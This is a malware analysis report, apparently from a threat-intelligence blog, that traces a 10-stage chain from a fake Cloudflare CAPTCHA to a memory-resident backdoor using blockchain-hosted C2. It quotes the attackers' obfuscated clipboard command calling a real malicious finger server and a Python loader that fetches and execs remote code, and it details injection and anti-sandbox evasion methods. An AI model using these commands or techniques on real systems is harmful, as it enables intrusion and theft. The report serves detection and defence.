HellsUchecker: ClickFix to blockchain-backed backdoor

HellsUchecker is a 28 KB native x64 backdoor that sits at the end of a 10-stage attack chain. It starts with a ClickFix lure -- a fake Cloudflare CAPTCHA -- and ends with a memory-resident PE that checks in to its C2 server over HTTPS. Between those two points: a Windows LOLBin delivers the first payload over the finger protocol on port 79, a smart contract on BNB Smart Chain stores the encrypted C2 configuration, and a custom block cipher with aPLib compression unpacks the final binary entirely in memory.

The final payload is never written to disk. The MSI installer that carries the chain scores 2/76. The .NET loader that handles EtherHiding and payload delivery scores 35/76, but by the time it loads, the chain is already five stages deep.

The name comes from two components: Hell's Gate, a direct syscall technique used in stage 9a to inject shellcode without calling standard Windows APIs, and uchecker, the project name embedded in the binary's PDB path. The campaign was active as of March 11, 2026.

If you operate a threat intelligence platform with API access and can provide a researcher account, please reach out to kirk@derp.ca. Additional data sources directly increase the quality and coverage of the threat intel published here.

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What the victim sees

The chain starts at h01-captcha.sbs, a page that impersonates a Cloudflare Turnstile CAPTCHA. The fake checkbox, spinner animation, and "Performance & security by Cloudflare" footer are all replicated. A back-button trap and close-confirmation dialog prevent the user from navigating away.

When the user clicks the checkbox, the page writes a command to the clipboard and instructs them to open Windows Run (Win+R) and paste it. The pasted command is obfuscated with caret escaping and runs minimised. The user sees their desktop disappear briefly -- explorer.exe is killed and restarted around the payload delivery -- but no console window is visible. The page also detects macOS and delivers a different clipboard payload that curls an AMOS stealer binary from a known bulletproof host. That endpoint was down at time of analysis.

Delivery via finger.exe

The clipboard payload runs finger.exe, a Windows utility that queries user information over port 79. It is a legitimate, Microsoft-signed binary included in the Windows TCP/IP stack. The finger protocol predates the web -- it was designed for looking up users on university systems in the 1970s.

The malware uses it as a download channel. The command queries a username at finger.cldvrfd.click, and the server responds with a crafted .plan file containing 12 batch commands. These commands kill the desktop shell, download a legitimate Python 3.14 embed package from python.org (saved with a .pdf extension to avoid download filtering), extract it, rename pythonw.exe to a random 25-digit filename, and execute a base64-encoded Python loader. Then explorer.exe restarts and the desktop returns.

A backup finger endpoint at on.cldvrfd.click serves byte-identical responses. Neither domain is reported on URLhaus or Pulsedive. The finger server runs on port 79 alongside a standard Apache web server on 80/443 -- the web server returns 403 on all requests. Port 79 is the only functional service.

Smart contract C2 via EtherHiding

Four stages later, the chain reaches a 6.5 MB .NET assembly that implements EtherHiding. The loader queries a smart contract deployed on both BSC (BNB Smart Chain) and Avalanche using the standard ERC20 name() function selector. The contract returns 84 bytes of encrypted data in the name field.

To decrypt the response, the loader computes a time-based nonce: divide the current Unix timestamp by 300 (5-minute blocks), hash the result with Keccak256 (Ethereum's variant, not NIST SHA-3), and XOR the response with the repeating 32-byte hash. The first 12 bytes of the XOR output become the ChaCha20 nonce. The rest is the ciphertext. The ChaCha20 key is hardcoded in the binary.

The decrypted output is a JSON config containing the current C2 hosts:

{"1.0": {"hosts": ["https://more-arpc.icu", "https://rpcsecnoweb.pro"]}}

This is the same technique we documented in OCRFix, but with a different encryption layer. The operational advantage is the same: one blockchain transaction updates the C2 config for every infected machine. The contract has been updated 9 times since its deployment on December 4, 2025. The first 5 updates were rapid iterations on the same day. The last two correlate with new domain registrations. Update 8 landed on December 20, the same day more-arpc.icu was registered. Update 9 on February 14, the same day rpcsecnoweb.pro was registered.

The deployer wallet was funded through ChangeNOW, a no-KYC instant exchange. It has only ever interacted with this one contract.

26 anti-sandbox checks and a Nintendo bypass

Before the backdoor loads, a separate .NET assembly runs 26 anti-analysis checks. These include RAM below 6 GB, disk below 49 GB, screen below 1280x768, fewer than 10 environment variables, fewer than 8 programs installed, an OS install date within 3 days, and a 134-process blacklist covering debuggers, RE tools, network analysers, and sandbox processes. It also queries 5 geolocation APIs to check for 11 CIS (Commonwealth of Independent States) countries and 104 Russian/CIS ISPs. If 3 or more checks trigger, the process terminates.

There is also a check for the directory C:\Nintendo. If it exists, all 26 checks are bypassed. This is likely a developer backdoor -- creating the directory on a test machine skips every anti-analysis gate.

A separate evasion layer runs alongside the checks. The .NET loader starts 6 concurrent threads that generate decoy network traffic: 70% fake blockchain RPC (remote procedure call) requests against real token contracts on 5 chains, and 30% requests to legitimate APIs (jsonplaceholder, httpbin, GitHub API, PokeAPI). This traffic buries the real C2 communication in a flood of requests to well-known services. When C:\Nintendo is present, the noise threads are also skipped.

How the final payload reaches memory

Stage 9a reads the PEB command line to find wscript_ce49.bat -- the BAT/MSBuild polyglot that started the chain. It copies this file to three directories that mimic legitimate Windows cache paths: INetCache, WebCache, and Protect. The copies are renamed CacheManager.bat (same content, same hash), with Hidden and System attributes. File timestamps on all copies are set to 43 months in the past. A shortcut called CacheManager.lnk in the Startup folder points to the WebCache copy, and RegisterApplicationRestart handles crash recovery. On reboot, the shortcut runs the polyglot, which re-finds MSBuild and re-executes the entire chain from stage 5 -- fetching fresh EtherHiding config, re-downloading stages 8 through 9b, and rebuilding the backdoor in memory.

For injection, stage 9a uses Hell's Gate -- a technique that resolves syscall numbers by sorting ntdll Zw* exports by address and writes syscall stubs into existing code caves in memory. This avoids calling VirtualAlloc for new executable memory (a common detection signal) and bypasses user-mode API hooks entirely. It calls NtCreateSection and NtMapViewOfSection directly to map a read-write view for writing and a read-execute view for running the shellcode.

The shellcode (stage 9b) is 34 KB total -- a 21 KB encrypted data section and 13 KB of position-independent x64 code. It decrypts the payload using a SipHash-variant block cipher in CTR mode -- 16 rounds per 16-byte block, with pre- and post-whitening against the key. After decryption, it decompresses the result with aPLib (53% compression ratio) to produce the 28,160-byte final PE.

The shellcode then manually loads the PE: maps sections, processes relocations, resolves imports via PEB walk and a custom Merkle-Damgard hash function, sets page permissions, and calls the entry point. The PE never exists as a file. It is decrypted, decompressed, and loaded entirely within process memory.

The backdoor

HellsUchecker is a 28 KB native x64 binary compiled with MSVC 2022. It imports from three DLLs: ntdll (memory, timing), WinHTTP (C2 communication), and kernel32 (process and file operations). It checks in to https://rec.allthe.site/chk using HTTPS POST with a JSON-RPC format: {"id":,"arguments":[]}.

The C2 URL is stored as an ASCII decimal array in the binary and decoded with an alternating even/odd byte transform. The User-Agent is myApp v1.0. The backdoor constructs a system fingerprint from the username, Windows version, and build number, and formats its own HTTP Date header using ntdll time functions rather than WinHTTP's built-in formatting.

The import set points to a download-and-execute model: fetch a file from C2 via WinHTTP GET, write it to a temp file, execute it with CreateProcessW, wait for exit, report the exit code, and delete the file. It uses NtDelayExecution instead of Sleep and RtlAllocateHeap instead of VirtualAlloc -- ntdll functions that are less commonly monitored than their kernel32 equivalents.

The C2 domain allthe.site has been active since August 2025, with 14 subdomains issued certificates over 7 months. The infrastructure spans three countries: the delivery server in Frankfurt (AS202412 Omegatech), the C2 server in Amsterdam (AS216071 Servers Tech Fzco, a UAE-registered host on VDSina), and two down endpoints in Moscow and St. Petersburg (AS198610 Beget). The operator geofences 11 CIS countries including Russia in the anti-sandbox checks, but hosts part of the infrastructure there.

Six of the seven domains in the campaign use the same registrar: Global Domain Group LLC (IANA 3956). The outlier, allthe.site, is the oldest domain and was registered through Hostinger.

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Sample overview

Stages 8, 9a, 9b, and 10 are delivered from the C2 server and decrypted in memory. Stage 9a writes persistence copies of the BAT polyglot as CacheManager.bat plus a startup shortcut, but the assemblies themselves are not saved as files and are not indexed by VirusTotal.

Attack chain

h01-captcha.sbs (fake Cloudflare CAPTCHA)
  > clipboard hijack (Win: finger LOLBin, Mac: curl AMOS stealer)
    > finger.exe > finger.cldvrfd.click:79
      > 12 batch commands: kill explorer, download Python, exec loader
        > pythonw.exe -c exec(urllib fetch) > vrf.cldvrfd.click
          > 1.9 MB Python + embedded base64 MSI > msiexec manager.msi
            > explorer.exe > wscript_29ab.vbs > wscript_ce49.bat (hidden)
              > BAT polyglot: charmap decode, MSBuild path search
                > MSBuild C# inline task: 10-chunk delta decode
                  > CSharpCodeProvider > base91 decode > Assembly.Load()
                    > 6.5 MB .NET EtherHiding loader
                      > eth_call name() on BSC/AVAX contract
                        > Keccak256 + ChaCha20 > JSON C2 config
                          > GET /assets/*.json > XOR decrypt
                            > stage 8: 26 anti-sandbox checks
                            > stage 9a: persistence + Hell's Gate injection
                            > stage 9b: SipHash-CTR + aPLib > HellsUchecker
                              > HTTPS POST rec.allthe.site/chk

Landing page (stages 0-1)

The page at h01-captcha.sbs replicates a Cloudflare Turnstile CAPTCHA. A send.php POST logs each click. window.onbeforeunload triggers a close dialog; window.history.pushState traps the back button.

OS detection via navigator.platform selects the clipboard payload. On Windows:

%COMSPEC% /c start "" /min for /f "delims=" %A in (
  'f^^i^^n^^g^^e^^r XdsfeerDfbn@f^^i^^n^^g^^e^^r^^.^^cldvrfd.click'
) do call %A & exit

Carets are cmd.exe escape characters consumed at parse time: f^^i^^n^^g^^e^^r resolves to finger. start "" /min runs minimised. A trailing && echo 'Verify you are human' is cosmetic -- & exit runs first, so the echo never executes.

On macOS, a double-base64-encoded curl command targets 185.93.89.62 (AS213790 Limited Network LTD), a known AMOS/Odyssey stealer host active for 7+ months. That endpoint was down at time of analysis.

Finger protocol delivery (stage 2)

finger XdsfeerDfbn@finger.cldvrfd.click queries port 79 on 178.16.52.168. The server responds with a .plan file containing 12 batch commands:

The ZIP is saved with a .pdf extension to avoid extension-based download filtering. pythonw.exe (the windowless interpreter) is used instead of python.exe -- no console window appears. The response has 2-4 blank lines between commands, which for /f silently skips.

A backup endpoint at on.cldvrfd.click serves a byte-identical response (SHA256: b1f1ee50095631abce5121f234abc60a64e458fec395b61362f51ae7c437a2c2).

Python bootstrap and MSI dropper (stages 3-4)

Stage 3 is a 5-line Python script decoded from the base64 blob in command 10:

# nmj1hE1smP27ExTU7GXiL
import ssl
import urllib.request
ssl._create_default_https_context = ssl._create_unverified_context
exec(urllib.request.urlopen('http://vrf.cldvrfd.click/u323245/local3.txt').read().decode('utf-8'))

No obfuscation, no error handling. The comment nmj1hE1smP27ExTU7GXiL is a build or campaign identifier.

Stage 4 is the response: a 1.9 MB Python script with an embedded base64 MSI blob. It decodes using base64.urlsafe_b64decode, writes manager.msi (1,425,408 bytes), waits 3 seconds, and runs msiexec /i manager.msi.

The MSI CustomAction runs explorer.exe "wscript_29ab.vbs" -- not cmd.exe or powershell.exe. The execution chain goes msiexec to explorer.exe to wscript to cmd, avoiding direct command interpreter invocation from the installer.

The MSI installs three files to SvcUpdate_8d52/:

BAT/MSBuild polyglot (stage 5)

wscript_ce49.bat is a 13.2 MB polyglot file. The first 243 lines are batch code wrapped in an HTML comment (<!-- ... -->). Line 244 onward is MSBuild XML with an inline C# task, followed by ~12.6 MB of base91-encoded payload.

When cmd.exe runs the file, it processes the batch lines. When MSBuild runs the file, the XML parser skips the HTML comment and processes the C# task.

The batch code builds strings at runtime using two character lookup tables:

Each character is extracted by computing an index via set /a with XOR, addition, and subtraction on hex literals, then indexing into the map with !_hd:~%idx%,1!. 341 arithmetic expressions, 29 resolved strings, 62 noise variables, and ~150 unused integer computations pad the code. All batch keywords use interleaved carets (s^e^t, f^o^r, i^f).

On first run, the batch creates a temp VBS file that relaunches itself with window style 0 (hidden). On the hidden relaunch, it searches for MSBuild.exe across 4 path patterns:

1. Visual Studio 2024/2022/2019 (x64) under %ProgramFiles%
2. .NET Framework 4.0 64-bit under %WINDIR%
3. Visual Studio 2024/2022/2019 (x86) under %ProgramFiles(x86)%
4. .NET Framework 4.0 32-bit under %WINDIR%

If MSBuild is found, the batch sets _E236b0d to its own full path and passes itself to MSBuild. Exit code 91 if no MSBuild is found.

Delta-encoded C# and reflective loading (stage 6)

MSBuild's inline C# task decodes a second C# payload from 10 delta-encoded chunks. Each chunk contains ~260 values expressed as arithmetic. Values are added to a per-chunk running accumulator (seeded from array [59, 14, 65, 55, 20, 39, 46, 26, 50, 91]) to produce ASCII character codes. The 10 chunks are reordered per index array [1, 4, 3, 2, 6, 5, 8, 7, 9, 0] and concatenated. CSharpCodeProvider compiles the result in memory.

The compiled code:

1. Reads the BAT file via environment variable _E236b0d
2. Finds marker ::85a210c1:: using LastIndexOf()
3. Extracts ~12.6 MB of base91-encoded data between the marker and -->
4. Decodes with a custom 91-character alphabet, pair-wise XOR against constant 151
5. Zeroes the process command line via Marshal.WriteInt16(GetCommandLineW(), 0, 0)
6. Calls Assembly.Load() on the 6,576,640-byte result
7. Invokes OocytesLangsat.Managers.RoleSingleton.RateObject()

Base91 alphabet:

!#$%&'()*+,./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~

Decode: (hi * 91 + lo) XOR 151.

EtherHiding loader (stage 7)

String encryption

1,420 strings encrypted with a three-step pipeline:

1. Custom BitMathDecoder: extracts nibble pairs, adds (i ^ len), rotates right by (key >> 4) & 7, XORs with (key + i) & 0xFF
2. Base64 decode a second table entry, XOR with 16-byte buffer s_buffer23 to produce the RC4 key
3. RC4 decrypt step 1 output with step 2 key

s_buffer23: [31, 53, 203, 174, 237, 37, 121, 68, 161, 197, 104, 126, 90, 71, 229, 62]

Smart contract C2

Decryption: Keccak256(big_endian_32_byte(epoch)) produces a 32-byte hash. XOR the 84-byte contract response with the repeating hash. First 12 bytes of XOR output = ChaCha20 nonce. Remainder = ciphertext. The Keccak256 here is the Ethereum variant (padding 0x01...0x80), not NIST SHA3-256 (padding 0x06).

TLS certificate validation is disabled for all blockchain RPC calls.

Stage-2 payload delivery

The loader fetches three payloads from the C2 hosts decoded from the contract:

Each response is JSON with a hex-encoded "content" field. Processing: hex decode, XOR with the repeating ASCII key. Result is a .NET assembly or raw shellcode.

All C2 requests include HMAC-SHA256 anti-replay headers:

timestamp = unix_seconds + server_time_offset
nonce = 16 crypto-random bytes
QM = len(str(timestamp)) * 4919
url_hash = url.chars.Aggregate(0, (acc, c) => acc ^ (c * 31))
nonce_hash = sum(nonce_bytes) * QM
signing_key = SHA256("{QM}_{url_hash ^ 31}_{nonce_hash}")
message = "{url}|{timestamp}|{base64(nonce)}"
signature = HMAC-SHA256(signing_key, message)

Headers sent: X-Timestamp, X-Nonce (hex), X-Signature (hex). Server time offset is calibrated via a HEAD request before the first C2 call. Retry logic: 15 attempts, host rotation every 3 ((attempt - 1) / 3 % hosts.Length), exponential backoff.

Noise traffic

6 concurrent worker threads. 99 URLs across 4 HTTP method pools (44 GET, 39 HEAD, 13 PUT, 3 POST). 70% fake blockchain RPC -- eth_call and eth_blockNumber with real ERC20 selectors against 62 real token contracts on 5 chains -- and 30% requests to legitimate APIs. Each request has a 50% chance of appended random query parameters (_t, session, ref, utm_source, device, v, q). Fake POST bodies: {"id":N,"ShewedGanjas":N,"AntisCasked":N}.

The noise stops 60 seconds before shellcode loading. Workers use a 10-second timeout with 50-150 ms delays between requests.

Memory protection

Stage-2 assemblies are loaded in sandboxed AppDomains (LoaderOptimization.SingleDomain, shadow copy) via a MarshalByRefObject cross-domain proxy. Decrypted payloads are stored in 64 KB chunks, each XOR'd with a unique random pad, with 3-9 decoy buffers interspersed. The payload is never contiguous in plaintext. After Assembly.Load(), the first 64 bytes are zeroed and the full buffer overwritten with Thread.MemoryBarrier().

Other features

Anti-sandbox gatekeeper (stage 8)

26 checks with 20-80 ms jitter (glibc LCG PRNG). Threshold: >= 3 triggers Environment.Exit(-65536). Obfuscated with Eazfuscator.NET.

Checks 0 and 2 resolve APIs via DJB2 hashing (hash = 5381; hash = (hash << 5) + hash + c) with a manual PEB walk and PE export table parsing. 3 fallback PEB access methods: NtCurrentTeb, NtQueryInformationThread, NtQueryInformationProcess.

The 11 geofenced countries: Russia, Ukraine, Belarus, Armenia, Azerbaijan, Kazakhstan, Kyrgyzstan, Tajikistan, Uzbekistan, Georgia, Moldova. The 5 geo APIs are queried in shuffled order with crypto RNG User-Agent selection (15 UAs), TLS 1.2 forced, hand-rolled JSON parsing.

String encryption uses Eazfuscator.NET's SimpleZip format: AES-128-CBC decrypts a resource, recursive Deflate decompresses the result, strings are looked up by (stringID ^ 0x666BEEF) - 4.

If all checks pass, the gatekeeper deobfuscates paths and XOR keys from the string table using a 32-byte master key (ZApN6113Y5pAEt6bItfjgkGiqH4wG2QO), returning:

/assets/FtnerrTurkize.json|X1aFI1CwDTXdE|/assets/NascentAirers.json|ATJ25s7i79Q

Persistence and injection (stage 9a)

Persistence

Stage 9a reads the PEB command line to locate wscript_ce49.bat (the BAT polyglot), then copies it to these paths as CacheManager.bat. Hidden + System attributes, timestamps set to DateTime.Now.AddMonths(-43). Fallback filename: svchost / svchost.lnk. A write probe file {GUID}.CurdyEntheos is created and deleted before writing.

CacheManager.lnk in the Startup folder with SW_SHOWMINNOACTIVE. RegisterApplicationRestart is called on every run regardless of install state. Registry Run key code exists but is disabled in this build.

Hell's Gate injection

The injector scans committed RWX pages via VirtualQueryEx (0x1000 to 0x7FFFFFFFFFFF) for zero-byte regions. Two stubs are written to existing code caves:

Syscall numbers are resolved by enumerating ntdll Zw* exports, computing HMAC-MD5 of each name with key 81C9CA6E, and sorting by address -- the sorted index gives the service number.

Injection flow:

1. NtCreateSection -- RWX, SEC_COMMIT
2. NtMapViewOfSection -- local RW view (write shellcode)
3. NtMapViewOfSection -- remote RX view (execute)
4. Random sleep 3-10 seconds
5. RtlCreateUserThread targeting RX view
6. Cleanup: unmap local view, close section, zero both buffers

PEB command line is wiped after injection: the exe path is overwritten in both the Unicode (RTL_USER_PROCESS_PARAMETERS) and ANSI (kernelbase .data section scan) buffers.

Shellcode and PE loader (stage 9b)

Structure

Offset 0x0000: E8 30 52 00 00    CALL +0x5230 (over data to code)
Offset 0x0005: uint32            Data size: 0x5230 (21,040)
Offset 0x0009: 16 bytes          SipHash-CTR key
Offset 0x0019: 16 bytes          SipHash-CTR IV
Offset 0x0029: 536 bytes         Config area (unencrypted)
Offset 0x0241: 20,468 bytes      Encrypted payload
Offset 0x5235: 13,575 bytes      x64 code (47 functions)

SipHash-variant CTR cipher

Per-block operation:

1. XOR state with key (pre-whitening)
2. 16 rounds of SipHash permutation: rotation constants 5, 8, 16, 7, 16, 13
3. XOR state with key (post-whitening)
4. XOR keystream with ciphertext

Payload integrity

After decryption, a custom Merkle-Damgard hash verifies the campaign ID 3HF69RHN (at payload offset 0x09F0):

If the hash does not match, execution aborts.

Decrypted payload layout

The DLL preload list loads wininet and mscoree despite the final PE using WinHTTP (not WinINet) and being native x64 (not .NET). This is process camouflage -- it makes the host process resemble a .NET/COM application.

PE loader

The code section is a self-contained PE loader with 47 functions. API resolution uses a PEB walk with a custom 64-bit Merkle-Damgard hash -- the same algorithm used for integrity, with different seeds. 63 API hashes are resolved at runtime. No API names appear in the shellcode.

Loading sequence: validate PE headers, create section via NtCreateSection + NtMapViewOfSection, copy headers and sections, process relocations (HIGHLOW and DIR64 types), resolve imports by walking the PE export table of each imported DLL, set section permissions via VirtualProtect, execute TLS callbacks, call entry point.

The aPLib decompressor produces the 28,160-byte HellsUchecker PE from 14,960 bytes of compressed data (53% ratio).

HellsUchecker (stage 10)

PE structure

Import table

No VirtualAlloc -- uses RtlAllocateHeap (process heap). No Sleep -- uses NtDelayExecution. Both are ntdll functions less commonly monitored than their kernel32 equivalents.

C2 URL encoding

The URL https://rec.allthe.site/chk is stored as a 27-element ASCII decimal array at PE offset 0x5771. Decoding alternates between two transforms:

• Even positions (0, 2, 4, ...): decoded = (0xFD + byte) & 0xFF
• Odd positions (1, 3, 5, ...): decoded = (running_key + byte) & 0xFF, running_key starts at 1, increments per odd position

C2 protocol

Checkin: HTTPS POST to /chk with Content-Type: application/json, User-Agent myApp v1.0.

{"id":,"arguments":[]}

System fingerprint: USERNAME=<user>Windows | <version> | build <number>.

HTTP Date headers are custom-formatted via NtQuerySystemTime + RtlTimeToTimeFields with inline month and day lookup tables rather than WinHTTP's built-in date formatting.

Smart contract rotation timeline

Deployer wallet 0x11e18d4e47c1c2ea4137262c3efba9123fd76b39: funded with 0.00862878 BNB (~$5.55) from ChangeNOW. 11 total transactions. Has only ever interacted with this one contract. ChainAbuse: 0 reports on both the contract and deployer addresses.

Infrastructure

Domain registration

6 of 7 use Global Domain Group LLC (IANA 3956). Operational domains use Cloudflare DNS; the .cfd cover domains use Google Cloud DNS. All GDG domains have WHOIS privacy.

Hosting

178.16.52.168 runs OpenSSH 9.6p1 and Apache 2.4.58 on Ubuntu. Port 79 (finger) is the only functional service -- HTTP returns 403. Shodan reports pnn.allthe.site as a hostname for this IP, tying the cldvrfd.click delivery infrastructure to the allthe.site C2 backbone.

144.124.246.155 is on AS216071 Servers Tech Fzco, a UAE-registered hoster operating from Amsterdam via VDSina (v633689.hosted-by-vdsina.com). Pulsedive lists it at medium risk for a "Brute Force Hosts" feed on port 22. Three .cfd cover domains are co-hosted on the same IP.

Both Russian IPs are on Beget LLC (AS198610). The operator geofences 11 CIS countries including Russia in the anti-sandbox checks, but hosts infrastructure in Moscow and St. Petersburg.

Subdomain timeline

14 subdomains over 7 months:

IOC summary

Network

Host

Hashes

Behavioural

YARA rules

5 detection rules published at github.com/kirkderp/yara (opens in new tab):

The backdoor and shellcode rules target memory-resident artifacts that are never written to disk. They require process memory scanning or memory dumps. The MSI and polyglot rules match on-disk files as delivered.

The EtherHiding .NET loader (stage 7, 35/76 VT) is not covered -- it already has broad vendor detection. The rules target the detection gaps: the MSI at 2/76, the polyglot at 3/76, and the memory-only final PE.

Assessment

HellsUchecker is a 28 KB native backdoor delivered through a 10-stage chain. The MSI scores 2/76. The final PE exists only in memory. The chain uses a LOLBin for initial delivery, a blockchain smart contract for C2 rotation, and direct syscalls for injection. One blockchain transaction updates the C2 config for all deployed implants. The on-chain record shows 9 config updates over 3 months, with the last two coinciding with new domain registrations.

See also: OCRFix / EtherHiding botnet, Python Loader Evolution.